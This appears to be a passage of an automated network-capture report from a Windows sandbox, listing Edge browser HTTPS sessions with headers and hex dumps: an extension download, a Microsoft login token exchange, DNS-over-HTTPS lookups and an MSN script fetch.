Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49762	172.217.19.225	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:47 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:48 UTC	572	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5isHQgmb4u0tVksA5hf1k3MbnVznHKmZB6lTKqoNZctsPSRpHdFo-Oey6vXSF6fQvBhWylcQdPxw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sun, 24 Nov 2024 16:45:00 GMT Expires: Mon, 24 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 5208 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-24 18:11:48 UTC	818	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-24 18:11:48 UTC	1390	IN	Data Raw: b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c Data Ascii: V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|
2024-11-24 18:11:48 UTC	1390	IN	Data Raw: b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU
2024-11-24 18:11:48 UTC	1390	IN	Data Raw: 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-24 18:11:48 UTC	1390	IN	Data Raw: 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af Data Ascii: ? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-24 18:11:48 UTC	1390	IN	Data Raw: 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 Data Ascii: =[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-24 18:11:48 UTC	1390	IN	Data Raw: 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-24 18:11:48 UTC	1390	IN	Data Raw: 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-24 18:11:48 UTC	1390	IN	Data Raw: a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 Data Ascii: wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mess
2024-11-24 18:11:48 UTC	1390	IN	Data Raw: c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49775	20.190.177.21	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:48 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-24 18:11:48 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 18:11:48 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 18:10:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BAY x-ms-request-id: c6461f92-27fb-46c7-8612-1eb050fe1312 PPServer: PPV: 30 H: PH1PEPF00011F5D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 18:11:48 GMT Connection: close Content-Length: 11389
2024-11-24 18:11:48 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49776	162.159.61.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 18:11:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 18:11:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 18:11:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7b5d1419827274-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 18:11:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0b 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49777	172.64.41.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 18:11:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 18:11:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 18:11:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7b5d1518938c75-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 18:11:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 03 00 04 8e fb 23 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49779	162.159.61.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 18:11:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49792	23.209.72.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:50 UTC	627	OUT	GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:51 UTC	1237	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 2o3TH2IeNXyf9OP87xu6FA== Last-Modified: Fri, 15 Nov 2024 22:31:11 GMT ETag: 0x8DD05C53565F83D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 64e866d1-101e-0037-3246-3988b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sun, 24 Nov 2024 18:11:50 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.142,b=670290424,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.142 Akamai-Request-ID: 27f3d1f8 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.8e04d217.1732471910.27f3d1f8 Vary: Origin
